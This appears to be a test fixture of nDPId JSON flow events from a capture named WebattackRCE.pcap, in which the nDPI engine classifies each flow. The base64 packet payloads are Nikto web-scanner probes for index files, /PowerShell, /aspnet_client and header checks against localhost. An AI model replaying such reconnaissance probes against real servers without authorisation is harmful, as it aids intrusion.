+00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":85,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1576420276793,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49712,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":85,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":793501,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADD2QRAAEAGYy5\/AAABfwAAAcIwH5DBGuEtmiy9f4AYAED+twAAAQEICp1m+2GdZvthR0VUIC9hc3BuZXRfY2xpZW50IEhUVFAvMS4wDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6aGVhZGVyczogSUlTIGludGVybmFsIElQKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":85,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1576420276793,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49712,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":86,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1576420276794,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49714,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":86,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":794936,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAoqZAAEAGmY9\/AAABfwAAAcIyH5C3W5qL6yWPx4AYAED+tAAAAQEICp1m+2KdZvtiR0VUIC9Qb3dlclNoZWxsIEhUVFAvMS4wDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6aGVhZGVyczogSUlTIGludGVybmFsIElQKQ0KDQo="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":86,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1576420276794,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49714,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":87,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1576420276796,"flow_last_seen":0,"flow_tot_l4_data_len":167,"flow_min_l4_data_len":167,"flow_max_l4_data_len":167,"flow_avg_l4_data_len":167,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49716,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00613{"flow_id":87,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":796429,"pkt_caplen":201,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":201,"pkt_l4_len":167,"pkt":"AAAAAAAAAAAAAAAACABFAAC74FpAAEAGW+B\/AAABfwAAAcI0H5AdBth42VHy84AYAED+rwAAAQEICp1m+2SdZvtkR0VUIC4gSFRUUC8xLjANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBXZWJMb2dpYyBpbnRlcm5hbCBJUCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":87,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1576420276796,"flow_last_seen":0,"flow_tot_l4_data_len":167,"flow_min_l4_data_len":167,"flow_max_l4_data_len":167,"flow_avg_l4_data_len":167,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49716,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":88,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1576420276797,"flow_last_seen":0,"flow_tot_l4_data_len":207,"flow_min_l4_data_len":207,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":207,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49718,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00669{"flow_id":88,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":797816,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"AAAAAAAAAAAAAAAACABFAADj87RAAEAGSF5\/AAABfwAAAcI2H5ABU8uetZ1IA4AYAED+1wAAAQEICp1m+2WdZvtlR0VUIC8gSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkFjY2VwdC1FbmNvZGluZzogZGVmbGF0ZSwgZ3ppcA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmhlYWRlcnM6IEJSRUFDSCBUZXN0KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":88,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1576420276797,"flow_last_seen":0,"flow_tot_l4_data_len":207,"flow_min_l4_data_len":207,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":207,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49718,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:headers: BREACH Test)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":89,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1576420276801,"flow_last_seen":0,"flow_tot_l4_data_len":155,"flow_min_l4_data_len":155,"flow_max_l4_data_len":155,"flow_avg_l4_data_len":155,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49720,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00597{"flow_id":89,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":801194,"pkt_caplen":189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":189,"pkt_l4_len":155,"pkt":"AAAAAAAAAAAAAAAACABFAACv4YVAAEAGWsF\/AAABfwAAAcI4H5Af9dm0Z318ZoAYAED+owAAAQEICp1m+2mdZvtpR0VUIC8gSFRUUC8xLjANCk5pa3RvOiAfDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6QFRFU1RJRCkNCg0K"} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":89,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1576420276801,"flow_last_seen":0,"flow_tot_l4_data_len":155,"flow_min_l4_data_len":155,"flow_max_l4_data_len":155,"flow_avg_l4_data_len":155,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49720,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":90,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1576420276803,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49722,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":90,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":803526,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGlY9AAEAGpqB\/AAABfwAAAcI6H5C5Ma2+n2Qvb4AYAED+ugAAAQEICp1m+2udZvtrR0VUIC9pbmRleC5waHAgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptdWx0aXBsZV9pbmRleCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":90,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1576420276803,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49722,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":91,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1576420276804,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49724,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":91,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":804984,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHUClAAEAG7AV\/AAABfwAAAcI8H5AXCWgXkPGhe4AYAED+uwAAAQEICp1m+2ydZvtsR0VUIC9pbmRleC5waHAzIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptdWx0aXBsZV9pbmRleCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":91,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1576420276804,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49724,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php3","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":92,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1576420276806,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49726,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":92,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":806354,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHuG9AAEAGg79\/AAABfwAAAcI+H5DOCYBdLPnSzYAYAED+uwAAAQEICp1m+26dZvtuR0VUIC9pbmRleC5waHA0IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6bXVsdGlwbGVfaW5kZXgpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":92,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1576420276806,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49726,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php4","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":93,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1576420276807,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49728,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":93,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":807743,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHnVlAAEAGntV\/AAABfwAAAcJAH5BrmKVmTh6XdYAYAED+uwAAAQEICp1m+2+dZvtvR0VUIC9pbmRleC5waHA1IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6bXVsdGlwbGVfaW5kZXgpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":93,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1576420276807,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49728,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php5","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":94,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1576420276809,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49730,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":94,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":809172,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHz9VAAEAGbFl\/AAABfwAAAcJCH5Dtpvfi4owoVYAYAED+uwAAAQEICp1m+3GdZvtwR0VUIC9pbmRleC5waHA3IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6bXVsdGlwbGVfaW5kZXgpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":94,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1576420276809,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49730,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php7","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":95,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1576420276810,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49732,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":95,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":810569,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADH5lRAAEAGVdp\/AAABfwAAAcJEH5B9+95hKQN6FIAYAED+uwAAAQEICp1m+3KdZvtyR0VUIC9pbmRleC5odG1sIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptdWx0aXBsZV9pbmRleCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":95,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1576420276810,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49732,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.html","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":96,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1576420276812,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49734,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":96,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":812025,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGlhlAAEAGphZ\/AAABfwAAAcJGH5DYta4lttm384AYAED+ugAAAQEICp1m+3OdZvtzR0VUIC9pbmRleC5odG0gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om11bHRpcGxlX2luZGV4KQ0KDQo="} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":96,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1576420276812,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49734,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.htm","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":97,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1576420276813,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49736,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":97,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":813393,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI2h9AAEAGYg5\/AAABfwAAAcJIH5At6uIveFvtbIAYAED+vAAAAQEICp1m+3WdZvt1R0VUIC9pbmRleC5zaHRtbCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om11bHRpcGxlX2luZGV4KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":97,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1576420276813,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49736,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.shtml","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":98,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1576420276815,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49738,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 